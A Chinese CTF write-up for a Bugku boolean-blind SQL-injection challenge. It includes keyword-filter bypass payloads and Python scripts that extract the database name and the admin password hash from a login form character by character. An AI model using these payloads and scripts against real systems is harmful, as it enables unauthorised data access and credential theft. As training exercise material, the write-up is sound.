当前位置:网站首页>Bugku sql注入
Bugku sql注入
2022-07-30 23:17:00 【白塔河冲浪手】
进入环境是个登录页面

提示这题布尔盲注,先fuzz一波


过滤了length,like,information,and,union,select,order,where等等
用括号绕过空格,我们发现能用的字符有<>,or,'
先万能密码试试看,<>是不等于的意思
'or(1<>2)#

'or(1<>1)#

可以确定这里有布尔盲注
那么开始注入 参考博客
'or(length(database())>7)# 回显password error!
'or(length(database())>8)# 回显username does not exist!
说明数据库长度为7
后面爆数据库
利用reverse和from
a'or(ascii(substr(reverse(substr((database())from(1)))from(8)))<>98)#最后利用脚本爆出数据库
import requests
url='http://114.67.175.224:19015/index.php'
database=''
for i in range(1,9):
for p in range(45,126):
m=9-i
sql="a'or(ord(substr(reverse(substr((database())from(%d)))from(%d)))<>%s)#"%(i,m,p)
data={
'username':sql,
'password':'1'
}
res=requests.post(url=url,data=data)
if "username does not exist!" in res.text:
database+=chr(p)
print (database)
break
print ("==========================")
print("\n"+database)
得到数据库后面因为fuzz后发现过滤了太多字符,所以这里根据参考博客是用字典跑出数据表和字段,这里先跳过
得到数据表admin和字段名password后
爆破密码
password=''
for i in range(1,33):
for p in range(45,126):
m=33-i
sql="a'or(ord(substr(reverse(substr((select(group_concat(password))from(blindsql.admin))from(%d)))from(%d)))<>%s)#"%(i,m,p)
data={
'username':sql,
'password':'1'
}
res=requests.post(url=url,data=data)
if "username does not exist!" in res.text:
password+=chr(p)
print (password)
break
print ("==========================")
print("\n"+password)
解md5 4dcc88f8f1bc05e7c2ad1a60288481a2

得到密码bugctf
去登录 账号是admin

边栏推荐
猜你喜欢

Gxlcms audio novel system/novel listening system source code

el-upload添加请求头

uniapp开发微信小程序-软考刷题小程序

$\text{ARC 145}$

Golang go-redis cluster模式下不断创建新连接,效率下降问题解决

2021GDCPC广东省大学生程序设计竞赛 H.History

vscode上利用screen命令跑代码

A detailed explanation: SRv6 Policy model, calculation and drainage

Alibaba Cloud video on demand + project combat

Apache Doris系列之:深入认识实时分析型数据库Apache Doris
随机推荐
10 个关于自动化发布管理的好处
The problem of sticky packets in tcp protocol transmission
Soft Exam Summary
Excel basic study notes
ZZULIOJ:1120: 最值交换
"NIO Cup" 2022 Nioke Summer Multi-School Training Camp 2 H.Take the Elevator
【LeetCode】42. 接雨水 - Go 语言题解
PS基础学习(一)
详解操作符
Compressing Deep Graph Neural Networks via Adversarial Knowledge Distillation
"NIO Cup" 2022 Nioke Summer Multi-School Training Camp 4 DHKLN
Go1.18升级功能 - 泛型 从零开始Go语言
Soft Exam Study Plan
Abstract classes and interfaces (study notes)
leetcode:127. 单词接龙
Go的Gin框架学习
电脑快捷方式图标变白解决方案
IDEA usage skills
【MySQL】MySQL中对数据库及表的相关操作
Detailed operator